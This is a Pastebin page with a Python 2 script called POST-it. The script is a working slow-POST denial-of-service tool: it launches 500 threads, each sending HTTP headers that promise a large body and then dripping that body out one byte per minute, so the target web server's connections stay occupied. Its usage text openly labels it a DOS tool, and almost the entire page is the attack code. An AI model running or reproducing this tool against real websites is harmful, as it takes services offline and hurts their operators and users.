Advertisement
infodox

POST-IT 1.2

Nov 28th, 2011
140
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.77 KB | None | 0 0
  1. #!/usr/bin/python
  2.  
  3. import sys
  4. import os
  5. import socket
  6. import time
  7. import getopt
  8. import re
  9. from threading import Thread
  10.  
  11. class MyThread(Thread,):
  12. def __init__(self,SITE, DOS_TYPE):
  13. Thread.__init__(self)
  14. self.method = DOS_TYPE
  15. self.site = SITE
  16. self.kill_received = False
  17. def run(self):
  18. while not self.kill_received:
  19. server = socket.gethostbyname(self.site)
  20. post = random_string = os.urandom(9001)
  21. file = 'index.php'
  22.  
  23. request = '%s /%s HTTP/1.1\r\n' %(self.method.upper(),file)
  24. request += 'Host: %s\r\n' % (self.site)
  25. request += 'User-Agent: Mozilla/5.0 (Windows; U;Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101026Firefox/3.6.12\r\n'
  26. request += 'Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
  27. request += 'Accept-Language: en-us,en;q=0.5\r\n'
  28. request += 'Accept-Encoding: gzip,deflate\r\n'
  29. request += 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n'
  30. request += 'Keep-Alive: 900\r\n'
  31. request += 'Connection: keep-alive\r\n'
  32. request += 'Content-Type: application/x-www-form-urlencoded\r\n'
  33. request += 'Content-length: %s\r\n\r\n' % (len(post))
  34.  
  35. newrequest = '%s\r\n' % (post)
  36. newrequest += '\r\n'
  37.  
  38. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  39.  
  40. try:
  41. s.connect((server, 80))
  42. s.send(request)
  43.  
  44. for c in newrequest:
  45. sys.stdout.write( s.send(c).__str__() )
  46. time.sleep(60)
  47. s.close()
  48. #s.recv(50000)
  49. except:
  50. print "Is It Dead Yet?"
  51.  
  52. def da_delegator(SITE,DOS_TYPE):
  53. thread_count = 500
  54. print '=' * 60
  55. print 'POST-it v1.1.0'.center(60,'-')
  56. print '=' * 60
  57. threads = []
  58. for num in range(thread_count):
  59. thr1=MyThread(SITE,DOS_TYPE)
  60. print 'start - %s' % thr1
  61. thr1.start()
  62. threads.append(thr1)
  63. #thr1.join()
  64.  
  65. while len(threads) > 0:
  66. try:
  67. # Join all threads using a timeout so it doesn't block
  68. # Filter out threads which have been joined or are None
  69. threads = [t.join(1) for t in threads if t is not
  70. None and t.isAlive()]
  71. except KeyboardInterrupt:
  72. print "Ctrl-c received! Sending kill to threads... Just Kill The Terminal" # Need to fix this!!!
  73. for t in threads:
  74. t.kill_received = True
  75. sys.exit(2)
  76.  
  77. def main(argv):
  78. def usage():
  79. print '=' * 60
  80. print 'POST-it v1.1.0'.center(60,'-')
  81. print '=' * 60
  82. print 'For get DOS - USAGE: postit.py -t get http://example.com'
  83. print 'For post DOS - USAGE: postit.py -t post http://example.com'
  84. sys.exit(2)
  85. if not argv:
  86. usage()
  87. try:
  88. opts, args = getopt.getopt(sys.argv[1:], "t:h", ["help",
  89. "type"])
  90. except getopt.GetoptError, err:
  91. print str(err)
  92. sys.exit(2)
  93. output = None
  94. verbose = False
  95. SITE = re.sub(r'http://', '', str(sys.argv[-1:][0]))
  96.  
  97. for o, a in opts:
  98. if o == "-v":
  99. verbose = True
  100. elif o in ("-t", "--type"):
  101. if a.lower() == 'post':
  102. DOS_TYPE = 'POST'
  103. da_delegator(SITE,DOS_TYPE)
  104. elif a.lower() =='get':
  105. DOS_TYPE = 'get'
  106. da_delegator(SITE,DOS_TYPE)
  107. elif o in ("-h", "--help"):
  108. usage()
  109. sys.exit()
  110. else:
  111. assert False, "unhandled option"
  112.  
  113. if __name__=="__main__":
  114. main(sys.argv[1:])
  115.  
  116.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement